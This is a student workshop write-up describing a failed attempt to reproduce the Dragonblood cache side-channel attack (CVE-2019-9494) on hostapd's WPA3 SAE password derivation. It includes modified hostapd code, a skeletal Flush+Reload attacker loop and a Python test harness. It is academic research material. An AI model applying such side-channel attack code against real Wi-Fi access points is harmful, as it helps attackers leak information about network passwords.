As part of the Advance Workshop in Implementation of Cryptographic Attacks, we were instructed to implement a cache side channel attack library. As a demonstration, we attempted to implement the exploit in CVE-2019-9494[0], using our Cache side channel attack library "Artik" [1].
While we were able to implement the procedure as specified in the paper[2], we were unable to recreate the results described there. In the following review, we are to go over our attempt.
Our first challenge was in the setup. We used KUbuntu 18.04 running from LiveCD. We did so as we couldn't use our computers or those on the Schreiber lab:
- Running a VM using virtualbox on Yoav's PC or Idan's laptop had time synchronization issues. This renders any cache attack essentially useless.
- We don't have root permission on the Schreiber lab. The hostapd modules requires many dependencies the computers in the lab lack. Without root, there is not way to install said dependencies.
The machine featured a 4-core Intel i7-4770 with 16GB RAM, which should be similar to the i7-7500 with 16GB RAM used in the paper.
We compiled hostapd as described here[3]. We modified its source code as follows. For more details see[4]:
- We modified
main
to contain a call tosae_derive_pwe_ecc
:
#define MY_CHOSEN_GROUP (19)
struct sae_data mocked_data;
mocked_data.group = MY_CHOSEN_GROUP;
sae_set_group(&mocked_data, MY_CHOSEN_GROUP);
u8 addr1[6] = {0,1,2,3,4,5};
u8 addr2[6] = {0,23,231,83,2,7};
u8 *password = argv[1]; // hello is 1, world! is 6
int result = sae_derive_pwe_ecc(&mocked_data, addr1, addr2, password, strlen(password), NULL);
return result;
- We changed the beginning of
sae_set_group
method. It crash otherwise.
int sae_set_group(struct sae_data *sae, int group)
{
struct sae_temporary_data *tmp;
// CryptoWorkshop modification - It crash If we don't comment it out.
// sae_clear_data(sae);
tmp = sae->tmp = os_zalloc(sizeof(*tmp));
if (tmp == NULL)
return -1;
...
- We've added both
sae_derive_pwe_ecc
andsae_test_pwd_seed_ecc
to thesae.h
header file
For our attack, we used our library's MemoryWrapper
to map hostapd
executable to our memory, and Flush+Reload
primitives from Mastik to perform the attack. The basic attacker code is:
const char* path = ...;
const size_t nqr_branch_addr, clock_addr, THRESHOLD, SLEEP = ...;
MemoryWrapper mem(path);
size_t good_measurements = 0;
uint return_value = 0;
while (true)
{
mem.Flush(nqr_branch_addr);
mem.Flush(clock_addr);
SLEEP_PRIMITIVE(SLEEP); // see later
auto result_clock = mem.Measure(clock_addr);
auto result_nqr = mem.Measure(nqr_branch_addr);
if (result_nqr <= THRESHOLD || result_clock <= THRESHOLD) {
// update return value as specified in the paper
// ...
good_measurements++;
if (good_measurements == 2) {
break;
}
}
}
return returnValue;
nqr_branch_addr
and clock_addr
were retrieved using objdump -Df -Mintel hostapd
command and were validated using BinaryNinja.
We ran this script for 2000 times and produced a graph of the result, using the following python code:
import subprocess
import time
COUNT = 2000
tests = {'qr': ('Hello', True), 'nqr': ('Helloo', False)}
tests_results = {}
for test, (value, should_be_equal_one) in tests.items():
print(test)
results = {}
for i in range(-1,16):
results[i] = 0
for i in range(COUNT):
if i % 100 == 0:
print("Reached:", i, results)
try:
attacker = subprocess.Popen(["build/bin/HostapdAttacker", "hostapd-atrik/hostapd/hostapd", "ADDR_NQR", "ADDR_CLOCK"], stdout=subprocess.DEVNULL)
time.sleep(0.00001)
hostapd = subprocess.Popen(["hostapd-atrik/hostapd/hostapd", value], stdout=subprocess.DEVNULL)
assert (hostapd.wait() == 1) == should_be_equal_one
res = attacker.wait(0.1)
results[res] += 1
except subprocess.TimeoutExpired as e:
# Didn't stop
attacker.kill()
results[-1] += 1
for i in range(-1,5):
del results[i]
tests_results[test] = results
print(tests_results)
Where we checked and find out that Hello
produces a QR on the first loop iteration, while Helloo
does not.
We've attempted many different options:
- We tried 2 different types of sleep: call to C++'s sleep method, and busy loop:
// option 1:
std::this_thread::sleep_for(std::chrono::nanoseconds(SLEEP))
// option 2:
for (size_t i = 0; i < SLEEP; i++) {
// busy wait - confirmed to be in the final binary using BinaryNinja
}
- We modified with the
SLEEP
parameter. The paper suggests 50,000 cycles. We ran it with the following values: 1000, 2500, 5000, 10000, 22000, 50000. As an important note, the first option get value in nanos while the other option get value in pseudo-cycles. - We modified with the
THRESHOLD
value. It seems to provide mostly the same results where on the range 130-170, and seems to don't return on values near 100. - We were trying to add NOPs slide on the attacked method.
- We tried many addresses to attack since the paper was not specific
We were unable to recreate the results from the paper.
You can find our results in the folder Pictures
. One folder is for using the CPP sleep method while the other is for the busy loop sleep. We were using 170 as threshold
and we tried few sleep values.
By examaning the results, there is no significant difference between QR and NQR modes.
[0] https://nvd.nist.gov/vuln/detail/CVE-2019-9494
[1] https://github.com/idangerichter/CryptoWorkshop
[2] Mathy Vanhoef and Eyal Ronen. 2020. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In IEEE Symposium on Security & Privacy (SP). IEEE. https://eprint.iacr.org/2019/383
[3] https://github.com/idangerichter/CryptoWorkshop/blob/master/docs/Hostapd.md
[4] https://github.com/yoavst/hostapd-atrik/commit/92faf1451d22064686b44bfb9ca94f90deb46197